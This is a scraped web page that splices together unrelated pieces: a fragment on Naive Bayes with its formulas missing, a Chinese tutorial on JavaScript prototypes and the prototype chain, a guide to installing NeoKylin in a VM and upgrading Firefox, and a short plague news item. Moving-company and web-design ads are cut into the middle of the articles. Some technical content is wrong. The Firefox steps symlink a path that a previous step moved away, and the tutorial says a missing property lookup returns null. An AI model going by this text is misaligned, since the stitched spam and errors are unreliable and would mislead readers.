  該部分從期望風險最小化的角度,闡述樸素貝恭弘=叶 恭弘斯的原理,也就是為什麼輸出y的分類要取后驗概率最大的類。這裏存疑,開學后搞起~已找到合適資料,到實驗室整理出來就好了。

樸素貝恭弘=叶 恭弘斯法的參數估計

  先驗概率P(Y)表示了樣本空間中事件Y各個類別所佔的比例,根據大數定律,當訓練集包含足夠多的樣本時,P(Y)可以通過各事件出現的頻率來估計。

  對於各獨立變量的條件概率參數,也是通過極大似然估計得出。

貝恭弘=叶 恭弘斯算法

  算法流程圖:

貝恭弘=叶 恭弘斯估計

  通過極大似然估計法,我們計算出了該數據集內輸入特徵x各個屬性獨立性假設下的條件概率。而如果待預測實例的某個屬性值沒有在訓練集中出現過,根據公式(4.9)計算條件概率就會出現概率值為0的情況。無論該實例的屬性如何,根據連乘公式,最終的類別概率都為0,無法做出判斷。針對這種情況怎麼避免呢?對分母分子進行修正,這就是貝恭弘=叶 恭弘斯估計(實際上就是分子分母同時加上一個常數,避免0的情況)。

理解貝恭弘=叶 恭弘斯的一個小例子

  醫院里出現了一例尚未確診的肺炎患者(疑似狀態),猜測他被感染的原因可能是:

  (1)   華南海鮮市場吃過海鮮

  (2)   去武漢旅行剛回來

  (3)   同其它患者密切接觸過

  根據其它人的確診結果,我們知道如果去海鮮市場吃過海鮮,有70%幾率會確診;去武漢旅行的人有60%的幾率確診;同其它患者密切接觸過的話,有50%的幾率確診。現在他昏迷了,根據他體溫及肺部CT病症嚴重程度,猜測這三種原因的可能性概率分別為50%、30%、20%。那麼,如果現在核酸試劑結果為陽性,被確診了。在已知確診的條件下,考慮是哪種原因造成了感染?

  由全概率公式,我們可以得到確診、疑似的概率分別是:

  由貝恭弘=叶 恭弘斯公式,在確診的條件下,三種可能性的大小被調整為:

  在已經確診的條件下,比較三者的后驗概率,可以得到該患者因吃海鮮被感染的可能性最大。執果索因,簡單講就是將結果考慮到發生原因的評估上,對前期評估進行調整。

代碼效果

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

原型和原型鏈的深入探索_台中搬家公司

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

前言

原型和原型鏈這方面的底層原理知識,一直以來都是面試市場上的一塊的肥肉,也是每一位前端開發人員不得不掌握的內功心法。一直以來,我都想要搞懂弄明白的這部分知識,所以,就借這次重學前端將這方面的成果和自己的一些拙見整理一下,分享給大家。現在就從編程思想開始講起吧。

本文篇幅較長,如果只想了解原型和原型鏈的核心知識,建議可以直接從第三部分看起。

一.編程思想

提起編程思想,這個概念在我的腦海中一直是一個非常模糊的概念,我所知道的是作為一名開發人員,每個人都應當具備這種能力,並且要不斷地去探索到底怎麼才能提高編程思想。那什麼是編程思想呢?

我覺得這個問題沒有固定的答案,如果非要給一個定義,那大概就是用計算機來解決人們實際問題的思維方式,即編程思想。目前我所了解的編程思想有面向過程編程,結構化編程以及面向對象編程。

1.面向過程編程

面向過程:POP(Process-oriented programming)就是分析出解決問題所需要的的步驟,然後用函數把這些步驟一步一步實現,使用的時候再一個一個的一次調用就可以了。這裏舉個栗子:將一隻大象裝進冰箱,就可以看做是面向過程的做法。

面向過程:就是按照我們分析好了的步驟,按照這個步驟解決問題。

2.結構化編程

結構化編程(Structured programming):在程序設計的早期,程序採用流程圖和自上而下的方式進行設計。這種設計方法的主要思路是將一個大問題分解為多個小問題進行解決,再針對每個小問題編寫方法。總體上來說,是先構建一個主過程來啟動程序流程,隨後根據程序走向來調用相關的其他過程,這種程序設計思想就是結構化編程。

舉個經典的栗子:需要編寫不同的工資計算方法,社保計算方法以及個人所得稅計算方法。而如果從另一個角度看這個程序,則可以從判斷判斷該程序中的對象入手。該程序中的對象,最明顯的就是“員工”!(小玲至今沒弄懂工資咋算的,所以就隨意畫了一個工資計算的流程圖,大家將就看看吧)

3.面向對象編程

面向對象是把事物分解成一個個對象,然後由對象之間分工合作。

舉個栗子:將大象裝進冰箱,面向對象的做法。(突然有點可憐這隻大象了,老是被裝進冰箱)

先找出對象,並寫出這些對象的功能

(1)大象對象

  • 進去

(2)冰箱對象

  • 打開

  • 關閉

(3)使用大象和冰箱的功能

面向對象是以對象功能來劃分問題,而不是步驟。

4.三大編程思想的對比

面向過程:

優點:性能比面向對象高,適合跟硬件聯繫很緊密的東西,例如單片機就採用的面向過程編程。

缺點:沒有面向對象易維護

面向對象:

優點:易維護,易復用,易擴展,由於面向對象有封裝,繼承,多態性的特性,可以設計出低耦合的系統,使系統更加靈活,更加易於維護。

缺點:性能比面向過程低。

結構化編程:

優點:程序易於閱讀、理解和維護,能將一個複雜的程序分解成若干個子結構,便於控制、降低程序的複雜性;提高了編程工作的效率,降低了軟件開發成本

缺點:

  • 用戶要求難以在系統分析階段準確定義,致使系統在交付使用時產生許多回問題。

  • 用系統開發每個階段的成果來進行控制,不能適應事物變化的要求。

  • 系統的開發周期長。

某大佬總結的:用面向過程的方式寫出來的程序是一份蛋炒飯,而用面向對象寫出來的程序是一份蓋澆飯。(覺得有點意思,拿來用用)

5.深入面向對象

面向對象更貼近我們的實際生活,可以使用面向對象的思想來描述世界事物,但是事物分為具體的事物和抽象的事物。

面向對象編程:

程序中先用對象結構保存現實中一個事物的屬性和功能,然後再按需使用事物的屬性和功能,這種編程方法,就叫面向對象編程

使用面向對象的原因:

便於大量數據的管理和維護

面向對象的思維特點:

(1)抽取(抽象)對象共用的屬性和行為組織(封裝)成一個類(模板)

(2)對類進行實例化,獲取類的對象

面向對象編程我們考慮的是有哪些對象;按照面向對象的思維特點,是不斷的創建對象,使用對象,指揮對象做事情。

面向對象的三大特點:

封裝、繼承和多態

想要對編程思想有進一步了解的話,可以看看一位前輩寫的一位十年軟件工程師告訴你什麼是編程思想,相信你會有新的收穫哦。

二.對象

1.什麼是對象?

廣義來講,都說萬物皆對象。對象是一個具體的事物,看的見摸得着的實物,例如:一本書,一支筆,一個人可以是”對象”,一個數據庫、一張網頁等也可以是“對象”。

在JavaScript中,對象是一組無序的相關屬性和方法的集合,所有的實物都是對象,例如字符串,數值,數組,函數等。

許多人都以為“JavaScript 中萬物都是對象”,這是錯誤的。對象是 6 個(或者是 7 個,取 決於你的觀點)基礎類型之一。對象有包括 function 在內的子類型,不同子類型具有不同 的行為,比如內部標籤 [object Array] 表示這是對象的子類型數組。 對象就是鍵 / 值對的集合。可以通過 .propName 或者 [“propName”] 語法來獲取屬性值。

——選自《你不知道的JavaScript(上卷)》

2.組成

對象是由屬性和方法組成的:

  • 屬性:事物的特徵,在對象中用屬性來表示(常用名詞)

  • 方法:事物的行為,在對象中用方法來表示(常用動詞)

3.何時使用對象?

今後只要使用面向對象的編程方式,都要先創建所需的所有對象,作為備用。

4.創建對象的幾種方式

看到前輩們寫的文章中一共提到了有以下五種方式:

  • 工廠模式(對象字面量):用{}創建一個對象

  • 構造函數模式:用new創建

  • 原型對象模式:利用prototype創建

  • 組合使用構造函數模式和原型模式 :構造函數模式用於定義實例屬性,原型模式用於定義方法和共享的屬性(可以看成是重寫原型對象)。

  • 動態原型模式

可以看看javascript中創建對象的幾種方式 或者 JavaScript創建對象的幾種方式,講解的非常詳細。在這裏我就只簡單介紹其中三種

4.1 工廠模式(對象字面量)

今天上班第一天,先把小玲自己的信息記錄一下~

      
1   var person = {
2             uname:"xiaoling",
3             age:18,
4             intr:function(){
5                  console.log('我是小玲')}
6    };
7    console.log(person);
8    person.intr() //調用方法 

 

現在我們來看一下,假如今天老闆開會說,公司要再來三個新同事,讓你記錄一下她們的信息。

然後你按照這種方式一會就完成了

    
 1         var person1 = {
 2             uname:"小張",
 3             age:20,
 4             intr:function(){
 5                  console.log('我是小張1111')}
 6         };
 7         var person2 = {
 8             uname:"小劉",
 9             age:23,
10             intr:function(){
11                  console.log('我是小劉')}
12         };
13         var person3 = {
14             uname:"小蘇",
15             age:24,
16             intr:function(){
17                  console.log('我是小蘇')}
18         };

 

如果按照這種字面量的方式去創建,不會感覺太傻瓜式了嗎?假如老闆說要增加一個特長 Specialty 的信息,你是否對要這些創建好的每一個對象都要進行添加修改呢?另外,請注意 person1 這個對象,因為小玲粗心了一下,不小心記錄錯誤了。導致兩個地方的屬性 name 和 intr 方法中的打印的名字內容是不一致的。那麼,這種問題能否在以後開發工作中避免呢?

對於第二個問題,我們可以用this.屬性名來代替方法中引用的對象屬性即

1 console.log('我是'+this.uname)
2 //或者
3 console.log(`我是${this.uname}`)

 

關於this,每個函數都會自動攜帶(可以想象成天生就有),可以直接使用,指向正在調用函數的對象(誰調用,this就指向誰),所以person.intr(),intr中的this就指向person。

對於第一個問題,我們可以用下面講的構造函數來解決~

4.2 構造函數模式

構造函數

構造函數式是一種特殊的函數,主要用來初始化對象,及為對象成員變量賦初始值,它總是與new一起使用。我們可以把對象中一些公用的屬性和方法抽取出來,然後封裝到這個函數裏面。

new在執行時做的四件事

①在內存中創建一個新的空對象

②讓this指向這個新的對象

③執行構造函數裏面的代碼,給這個新對象添加屬性和方法

④返回這個新對象(所以構造函數裏面不需要return)

    
 1     //2.構造函數模式
 2         //創建構造函數 Person    uname/age/intr 是實例成員
 3       function Person(name,age){
 4           this.uname = name;
 5           this.age = age;
 6  7           this.intr = function(){
 8               console.log(`我是${this.uname}`);
 9           }
10       }
11         //創建實例
12        var p1 = new Person('xiaoling',18),
13            p2 = new Person('小張',20),
14            p3 = new Person('小劉',23);
15 16           console.log(p1); //Person {name: "xiaoling", age: 18, intr: ƒ}
17           console.log(p2); //Person {name: "小張", age: 20, intr: ƒ}
18           console.log(p3); //Person {name: "小劉", age: 23, intr: ƒ}
19         //調用方法
20           p1.intr(); //我是xiaoling
21           p2.intr(); //我是小張
22           p3.intr(); //我是小劉
23            console.log(Person.intr); //undefined
24 25            Person.sex = '女';   //sex是靜態成員
26            console.log(Person.sex); //
27            console.log(p1.sex);  //undefined

 

這裏提幾點:

  • 構造函數中的屬性和方法我們稱為成員,成員可以添加

  • 實例成員就是構造函數內部通過this添加的成員 ,如name,age,intr就是實例成員;實例成員只能通過實例化的對象來訪問,如p1.uname。不能通過構造函數來訪問實例成員,如Person.uname (這樣是不允許的)

  • 靜態成員是在構造函數本身添加的成員,如sex就是靜態成員。靜態成員只能通過構造函數來訪問,不能通過實例對象來訪問(不可以用p1.sex訪問)

這樣,就能愉快地解決4.1的第一個問題啦!

構造函數存在的問題

現在我們來看一下p1,p2,p3在內存中是怎樣的?

從上圖中我們可以看到,創建多個不同的對象時,會同時在內存中開闢多個空間創建多個相同的函數,這些方法都是一樣的。所以就存在浪費內存的問題。我們希望所有的對象使用同一個函數,這樣會比較節省內存,那麼這個問題改如何解決呢?

利用原型對象的方式創建對象可以解決。

4.3 原型對象模式 -prototype

這節內容比較多,就單獨在第三部分講了~

另:其他創建對象的方式請自行查閱資料了解(可以看看javascript中創建對象的幾種方式 或者 JavaScript創建對象的幾種方式),這裏我就不再講了~

三.原型

先來簡單介紹幾個概念

1.構造函數

前面已經提過了,這裏就再簡單概括一下吧。

構造函數式是一種特殊的函數,return會自動返回一個對象。使用時要搭配new使用,並且new會做4件非常重要的事。

2.原型對象

現在想想什麼是原型呢?

一個對象,我們也稱prototype為原型對象,他具有共享方法的作用。

其實在創建每個構造函數時,都會自動附贈一個空對象,名為原型對象(prototype),屬性名為prototype,這個屬性指向函數的原型對象,同時這個屬性是一個對象類型的值。通過 構造函數.prototype 屬性,可獲得這個構造函數對應的一個原型對象。

構造函數通過原型對象分配的函數是所有對象共享的。JavaScript規定,每一個構造函數都有一個prototype屬性,他指向另一個對象。請再次注意這個prototype就是一個對象,這個對象的所有屬性和方法,都會被構造函數所擁有。

借用一張圖來表示構造函數和實例原型之間的關係:

3.對象原型proto

對象都會有一個屬性proto指向構造函數的prototype原型對象,之所以我們的對象可以使用構造函數prototype原型對象的屬性和方法,就是因為對象對象有proto原型的存在,那麼對象的proto是怎麼存在的呢?

我們來看一下這段話:

JavaScript 中的對象有一個特殊的 [[Prototype]] 內置屬性,其實就是對於其他對象的引用。幾乎所有的對象在創建時[[Prototype]] 屬性都會被賦予一個非空的值。 

注意:很快我們就可以看到,對象的 [[Prototype]] 鏈接可以為空,雖然很少見。

                                                    ——選自《你不知道的JavaScript(上卷)》 第五章

這段話的意思其實就是在告訴我們:每個對象都有“proro”屬性,這個屬性會通過指針的方式指向其他對象,這個“其他對象”就是我們說的原型對象。當然除了頂級Object.prototype.proto為null外,幾乎所有的”proto“都會指向一個非空對象。

當我們用構造函數創建對象時,new的第二步自動為新對象添加”_ proto “屬性,將” _ proto_ _”屬性指向當前構造函數的原型對象。

比如: 如果var p1=new Person(“xiaoling”,18)

則new會自動: p1._ proto _=Person.prototype。

然後會有以下 結果:

① 凡是這個構造函數創建出的新對象,都是原型對象的孩子(子對象)

②放在原型對象中的屬性值或方法,所有子對象無需重複創建,就可直接使用。

看到這裏,是否有點懵圈呢?別急,我們來畫個圖理一理

如上圖所示:構造函數的prorotype屬性 和proto對象原型指向的是同一個對象。

來證明一下吧在控制台打印一下這段代碼:

1 console.log(Person.prototype === p1.__proto__);//true
2 console.log(Person.prototype === p2.__proto__);//true
3 console.log(Person.prototype === p3.__proto__);//true

 

我們發現結果都是true,那麼說明proto對象原型和原型對象prototype是等價的。或者說他們就是同一個對象,即:

構造函數.prototype === 對應實例對象.proto

4.原型對象模式

前面介紹了很多概念,現在來介紹一下原型對象prorotype集體是怎麼實現的,其實很簡單。

台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

還在煩惱搬家費用要多少哪?台中大展搬家線上試算搬家費用,從此不再擔心「物品怎麼計費」、「多少車才能裝完」

構造函數.prototype.方法 = function(){ … }

具體看代碼:

 1       //原型對象方式
 2          function Person(name,age){
 3           this.uname = name;
 4           this.age = age;
 5       }
 6       Person.prototype.intr = function(){
 7               console.log(`我是${this.uname}`);
 8           }
 9         //創建實例
10        var p1 = new Person('xiaoling',18),
11            p2 = new Person('小張',20),
12            p3 = new Person('小劉',23);
13            console.log(p1); //Person {name: "xiaoling", age: 18}
14           console.log(p2); //Person {name: "小張", age: 20}
15           console.log(p3); //Person {name: "小劉", age: 23}

 

我們來看控制台打印:

我們會發現,打印結果並沒有出現intr方法,那我們直接來調用一下試試吧

//調用intr方法
p1.intr()
p2.intr()
p3.intr()

 

控制台結果:

我們發現,居然可以直接調用,這是怎麼回事呢?我們現在把p1,p2,p3在控制台打印的結果展開

我們可以看到每個實例對象都有一個對象原型proto,將它展開就能看到intr方法,難道實例對象調用成功的intr()是proto上的嗎?。我們知道實例對象的proto就是構造函數的prototype,然而我們的intr方法就是定義在Person.prototype上的,所以,實例對象p1,p2,p3能夠成功調用intr方法。

我們來看一下,他們在內存中是怎麼樣的(簡單畫了一下)?

我們可以看到,p1,p2,p3的__proto__通過指針指向原型對象。我們知道原型對象是一個對象,所以intr在原型對象中存儲的只是一個地址,這個地址會通過指針指向intr方法存儲的位置。所以p1,p2,p3調用的intr方法,其實就是原型對象上的intr,他們共享同一個方法,這也正是前面提到的原型對象的作用:共享方法。

這樣4.2提到的浪費內存的問題就完美的解決啦。雖然創建了三個實例對象,但是他們用的都是同一個方法(只佔用了一份內存),就算咱們再創建3000,30000個對象,他們用的還是同一個方法,佔用的內存依然只有一份,內存資源得到了大大的改善和節省,perfect!

那我們再來思考一個問題:p1,p2,p3,自己沒有uname,age,intr這些方法和屬性,為什麼可以使用呢?這就涉及到我們後面會講的繼承以及JavaScript的查找機制規則了.我們後面會說。

5.三者關係

在上文中,我們總是提到構造函數,原型(原型對象),實例,那麼這三者之間到底有什麼樣的關係呢?

目前我們已經知道的關係是:

  • 構造函數.prototype 指向的是原型對象

  • 實例對象的proto指向的也是原型對象

我們再來看一下這三個實例對象的打印結果,上圖

有看到什麼額外的東西嗎?請再仔細看一下!

我們可以看到每個實例對象展開,他裏面都有一個proto,這個不是重點,重點是,每個proto屬性展開,他不僅僅有我們自己定義的方法intr,還有一個淺粉色的constructor屬性,重點是我們可以看到這個這個constructor的值正好是我們的構造函數Person.

咱們來驗證一下,在控制台輸出以下代碼:

1 console.log(Person.prototype.constructor === Person); //true
2 console.log(p1.__proto__.constructor === Person);//true
3 console.log(p2.__proto__.constructor === Person);//true console.log(p3.__proto__.constructor === Person);//true

 

我們得到的結果是4個true,說明我們上文的猜想是正確的,也就是說構造函數也有一個屬性constructor,這個constructor屬性指向的是構造函數。既然構造函數能夠出生的時候就有prototype屬性–創建每個構造函數時,都會自動附贈一個空對象,名為原型對象(prototype),那我們是不是也可以把原型對象上憑空多出來的constructor當成是它天生就有的呢(哎!有些人註定了,出生就是不平凡的,自帶光環)

好了,我們現在再來總結一下:

  • 創建構造函數時,構造函數會附贈一個prototype屬性,這個prototype屬性以指針的方式指向一個對象,這個對象我們稱為原型對象。

  • 原型對象存在的同時,也會自動附贈一個constructor屬性,這個屬性以指針的方式指向他的構造函數。

  • 用構造函數實例化對象時,會通過new這個動作做4件事。

    ①在內存中創建一個新的空對象

    ②讓this指向這個新的對象(自動設置新對象的_ proto _指向構造函數的原型對象——繼承)

    ③執行構造函數裏面的代碼,給這個新對象添加屬性和方法

    ④返回這個新對象(所以構造函數裏面不需要return)

  • 實例對象創建時會自帶一個內置屬性proto,這個proto性會通過指針的方式指向原型對象(我們可以稱為父類)

    再來畫一個圖看看他們之間的關係

再來看一張更詳細的圖

看完這張圖,你是不是又懵圈了呢?沒關係,請跟我一樣拿起筆自己也在紙上畫一畫吧,如果你能畫明白,說明你已經動了一大半了。如果還沒有明白,我們一起再來捋一捋:

  1. 構造函數Person生成的時候會自動存在一個prototype屬性,即Person.prototype,我們稱為原型對象。

  2. 原型對象是一個對象,它存在的同時會自動生成一個constrctor屬性,這個屬性會自動指向他的構造函數,即Person。

  3. 用new生成實例對象時,這個實力對象同時會攜帶一個proto屬性,這個屬性會指向構造函數的原型對象,通過這個proto,實例對象繼承了原型對象上的所有方法,就是可以用原型對象上的方法。

其實不僅僅是實例對象,任何一個對象數據類型都存在這樣的關係。

再來看一張圖,或許你會更加明白

(本圖來自《JavaScript 高級程序設計》的圖 6-1)

好了,構造函數,原型對象,實例對象三者之間的關係就講完了,如果還沒有弄明白,建議多看幾遍,看的同時自己動手在紙上畫一畫哦。

四.JavaScript的成員查找機制

先直接講一下規則:

①當訪問一個對象的屬性(包括方法)時,首先查找這個對象有沒有該屬性。

②如果沒有就查找他的原型(也就是proto指向的prototype原型對象)。

③如果還沒有就查找原型對象的原型(Object的原型對象)。

④以此類推一直到Object為止(null).

proto對象原型的意義就在於為對象成員查找機制提供了一個方向,或者說一條路線。

這一部分看不明白沒關係,先大概知道這個規則就行。

五.原型鏈

在JavaScript中萬物都是對象,對象和對象之間也有關係,並不是孤立存在的。對象之間的繼承關係,在JavaScript中是通過prototype對象指向父類對象,直到指向Object對象為止,這樣就形成了一個原型指向的鏈條,專業術語稱之為原型鏈

舉例說明:person → Person → Object ,普通人繼承人類,人類繼承對象類

當我們訪問對象的一個屬性或方法時,它會先在對象自身中尋找,如果有則直接使用,如果沒有則會去原型對象中尋找,如果找到則直接使用。如果沒有則去原型的原型中尋找,直到找到Object對象的原型,Object對象的原型沒有原型,如果在Object原型中依然沒有找到,則返回null。這也是實例對象p1,p2,p3能夠使用intr()方法的最重要的

上文說到“如果在Object原型中依然沒有找到,則返回null”,這個一起來驗證一下。我們先來看一下在瀏覽器執行的這些代碼:

我們知道任何一個原型對象都是一個對象,而每個對象都有proto屬性,所以Object的原型對象也是一個對象(可以看Object.prototype的打印結果就是一個對象),那麼他的proto就是上圖我們打印的結果null.所以我們得到了驗證結果

即:Object.prototype.proto = null

所以在JavaScript中,Object是一等公民!

現在我們把原型鏈畫出來!

現在再看着這張圖,重新讀一遍第四和第五部分,你就會明白原型鏈了。

六.構造器

1.定義

本文沒有構造器的定義(沒有找到對它的準確定義),真的要說它是什麼只能說:構造函數。

構造函數跟普通函數非常相似,我們已經說過構造函數時一種特殊的函數(第四部分4.2中),我可以通過new關鍵字來使用它們。主要有兩種類型的構造函數,native構造函數(Array,Object等)它們可以在執行環境中自動生成,還有自定義的構造函數,你可以定義自己的方法和屬性,比如我們自定義的Person構造函數。

2.native構造函數

JavaScript中有內置(build-in)構造器/對象共計12個(ES5中新加了JSON):

Object、Function、String、Number、Boolean、Array、RegExp、Data、Error、Math、JSON、Global

3.自定義構造函數

就是我們可以根據需要按照構造函數的方式定義自己的方法和屬性就行。

4.一個重要結論

所有構造器/函數的proto都指向Function.prototype(Function.prototype是一個空函數)

怎麼驗證這句話呢?上代碼:

 1         console.log(Boolean.__proto__ === Function.prototype); //true
 2         console.log(Number.__proto__ === Function.prototype); // true
 3         console.log(String.__proto__ === Function.prototype);  // true
 4         console.log( Object.__proto__ === Function.prototype); // true
 5         console.log(Function.__proto__ === Function.prototype);  // true
 6         console.log(Array.__proto__ === Function.prototype); // true
 7         console.log(RegExp.__proto__ === Function.prototype); // true
 8         console.log(Error.__proto__ === Function.prototype);  // true
 9         console.log(Date.__proto__ === Function.prototype);// true
10 11 12         console.log(Function.prototype);

 

結果:

再來個自定義構造器:

 1          //自定義構造器
 2          //原型對象方式
 3          function Person(name,age){
 4           this.uname = name;
 5           this.age = age;
 6         }
 7         Person.prototype.intr = function(){
 8               console.log(`我是${this.uname}`);
 9           }
10         
11         console.log(Person.__proto__ === Function.prototype);  //true

 

這說明什麼呢?

①JavaScript中的內置構造器/對象共計12個(ES5中新加了JSON).上面列舉了可訪問的9個構造器。剩下如Global不能直接訪問,Arguments僅在函數調用時由JS引擎創建,Math,JSON是以對象形式存在的,無需new。它們的proto是Object.prototype。如下

Math.__proto__ === Object.prototype // true
JSON.__proto__ === Object.prototype // true

②所有的構造器都來自於Function.prototype,甚至包括根構造器Object及Function自身。所有構造器都繼承了Function.prototype的屬性及方法。如length、call、apply、bind(ES5)。

③Function.prototype也是唯一一個typeof XXX.prototype為 “function”的prototype。其它的構造器的prototype都是一個對象。

    
 1 console.log(typeof Function.prototype) // function
 2 console.log(typeof Object.prototype)   // object
 3 console.log(typeof Number.prototype)   // object
 4 console.log(typeof Boolean.prototype)  // object
 5 console.log(typeof String.prototype)   // object
 6 console.log(typeof Array.prototype)    // object
 7 console.log(typeof RegExp.prototype)   // object
 8 console.log(typeof Error.prototype)    // object
 9 console.log(typeof Date.prototype)     // object
10 console.log(typeof Object.prototype)   // object

 

④除了Function.prototype,所有構造函數的prototype都是一個對象

5.一等公民

前面原型鏈部分我們知道Objec是一等公民,那其實Function也是。

我們已經知道了所有構造器(含內置及自定義)的proto都是Function.prototype,那Function.prototype的proto是誰呢?

console.log(Function.prototype.__proto__ === Object.prototype) // true

這說明所有的構造器也都是一個普通JS對象,可以給構造器添加/刪除屬性等。同時它也繼承了Object.prototype上的所有方法:toString、valueOf、hasOwnProperty等。

最後再提一次:Object.prototype的proto是誰?

前面我們已經驗證過是null,到頂了

Object.prototype.__proto__ === null // true

講到這裏,是不是又有點懵圈了呢?上圖幫助你消化吧

看圖,一起理一理:

  • 每個構造函數(不管是內置構造函數還是自定義的構造函數),他的proto都指向Function.Prototype,包括Function他自己(Math和JSON不算在裏面,因為他們的proto指向的是Object.prototype)。

  • 每個構造函數都有一個內置屬性即prototype,他們指向自己的原型對象,除了Function的原型對象是一個空函數外,所有構造函數的prototype都是一個對象。

  • 每個原型對象都有一個內置屬性constructor,屬性,constructor屬性指回原型對象的屬性

  • Object是頂級對象,Object.prototype.proto為null

  • 每個實例對象都有一個proto屬性,通過這個proto屬性,這個實例對象可以按照JavaScript的成員查找規則(本文第四部分),去使用原型鏈上的屬性和方法,也就是我們說的繼承父類的屬性和方法的本質。這也是我們隨便創建一個數組或者對象,能夠使用toString()/valueOf() pop()/filter()/sort()等方法的原因。

現在再看這張圖明白了嘛,回國頭再去看一看第四部分:JavaScript的成員查找規則 是不是也頓悟了很多。

七.一張手繪原型鏈

請忽略我醜陋的字跡,能看懂這張圖並且自己可以畫出來,說明你今天的收穫非常大哦~

 

到這裏我們就講完原型和原型鏈相關的內容了,可能還有些地方沒講到,大家就自行下去再研究了。

另外建議紅寶書和你不知道系列多看幾遍(「書讀百遍其義自見」是很有道理的)。

再推薦幾位前輩寫的不錯的文章,值得多讀幾遍:

[
​最詳盡的 JS 原型與原型鏈終極詳解,沒有「可能是」]  https://www.jianshu.com/p/dee9f8b14771  [
​javascript中構造器(函數)的__proto__與prototype初探]  https://www.cnblogs.com/webjoker/p/5319377.html 

 

後記

非常感謝大家能夠認真看完這篇文章。其實在提筆寫這篇文章之前,小玲的內心是非常緊張和忐忑的,因為害怕自己研究的不夠深入和全面,但是一想到可以和大家分享我的收穫,還是非常激動和興奮的。可能有些地方講的還不夠清楚,大家可以自己多思考一下,你自己思考想出來的東西,比別人灌輸給你的更能讓你記憶深刻。如果,若有某個地方存在問題或者不明白的,歡迎大家积極提出寶貴的建議和見解!

 

參考文章:

https://www.cnblogs.com/TRY0929/p/11870385.html

https://www.jianshu.com/p/dee9f8b14771

https://www.cnblogs.com/snandy/archive/2012/09/01/2664134.html

https://www.cnblogs.com/webjoker/p/5319377.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦台中搬家公司優質服務,可到府估價

台中搬鋼琴,台中金庫搬運,中部廢棄物處理,南投縣搬家公司,好幫手搬家,西屯區搬家

虛擬機安裝中標麒麟桌面版7.0系統 + 升級Firefox瀏覽器_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

背景

由於公司業務(政府項目)需要走國產化路線,需要把原來已有的產品在國產的系統進行測試。目前選擇的是中標麒麟系統,這是一款國產系統,界面 UI 和 window 類似,系統內核使用的是 Linux 的,說白了就是 window + linux 的結合體。

在虛擬機中安裝中標麒麟系統

準備工作

  • 虛擬機軟件:VMware12

  • 系統鏡像:中標麒麟系統7.0

  • Firefox瀏覽器:Linux版本Firefox52

  • 軟件下載導向:VMware12 提取碼:5ijj、 中標麒麟桌面版7.0 提取碼:e6fp 、Linux版本Firefox52

虛擬機安裝

這裏虛擬機安裝沒什麼好講的了,拿到安裝包,一直下一步就可以了,上面已經提供了虛擬機的下載鏈接。

安裝教程可以參考:https://blog.csdn.net/lx940112/article/details/80159509

中標麒麟系統安裝

先從上面提供的鏈接下載對應的鏡像文件,然後在本機把虛擬機軟件安裝好。

  • 打開虛擬機軟件,點擊【創建新的虛擬機】
  • 進入新建嚮導,選擇對應的選項,一直下一步即可,如下圖:

  • 進入虛擬機后安裝麒麟系統,如下圖:

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

  • 軟件安裝完成之後,退出然後重啟系統,進入用戶時間的設置,如下圖:

到此,在虛擬機中安裝中標麒麟系統就完成了。

系統自帶Firefox-45升級到Firefox-52

Linux桌面版系統自帶的瀏覽器一般都是Firefox 因為業務的需求,要用Firefox52以上的版本,目前系統自帶的版本不滿足需求,需要升級。

  • 1、下載好最新版本火狐瀏覽器安裝包,上面有下載鏈接,上傳到麒麟系統,路徑自己選。

  • 2.在目錄解壓 Firefox-52.0.tar.bz2。

tar -xjvf  Firefox-52.0.tar.bz2

解壓後會生成一個 firefox 的文件夾,裏面有最新版本的 firefox 的二進制可執行文件,以及各種擴展模塊,插件等等。

  • 3.刪除系統默認自帶的舊版 firefox ,在 /usr/lib64 目錄下。
rm -rf /usr/lib64/firefox
  • 4.將你下載的新版解壓后的 firefox 文件夾複製到 /usr/lib64 目錄下。
mv /usr/firefox /usr/lib64
  • 5.刪除或備份移除原始 /usr/bin 目錄下的 Firefox 文件(這裏進行備份)

    mv /usr/bin/firefox /usr/bin/firefox.bak
    
  • 6.將安裝的新Firefox快捷方式放到 /usr/bin

ln -s /usr/firefox/firefox /usr/bin
  • 7.點擊原來的Firefox圖標打開瀏覽器

升級前:

升級后:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

蒙古爆發鼠疫 傳已死2人封城 外國遊客禁離境_台中搬家

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

台中搬家公司推薦超過30年經驗,首選台中大展搬家

摘錄自2019年5月5日自由時報報導

蒙古國傳爆發鼠疫,其中傳出鼠疫的烏列蓋市已有2人死亡,全城封閉檢疫,以致在當地旅遊外國遊客全被禁止回國。

《俄羅斯通訊社》報導,最初傳出爆發鼠疫訊息的是一個叫 vesti.ru網站,接著,俄羅斯駐蒙古大使館證實這個訊息。

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

綜合媒體報導,這場瘟疫初步認定是由當地土撥鼠傳播,已有2人死亡,其中,有人在醫院內死亡,以致在4月30日至5月1日夜裡,爆發鼠疫的烏列蓋市全城封閉檢疫,有外國遊客恐慌想要離城返國,即被禁止,也因此外傳鼠疫爆發事件;蒙古國宣布,檢疫將到今天(5月5日),是否繼續封城檢疫,還沒有進一步消息。

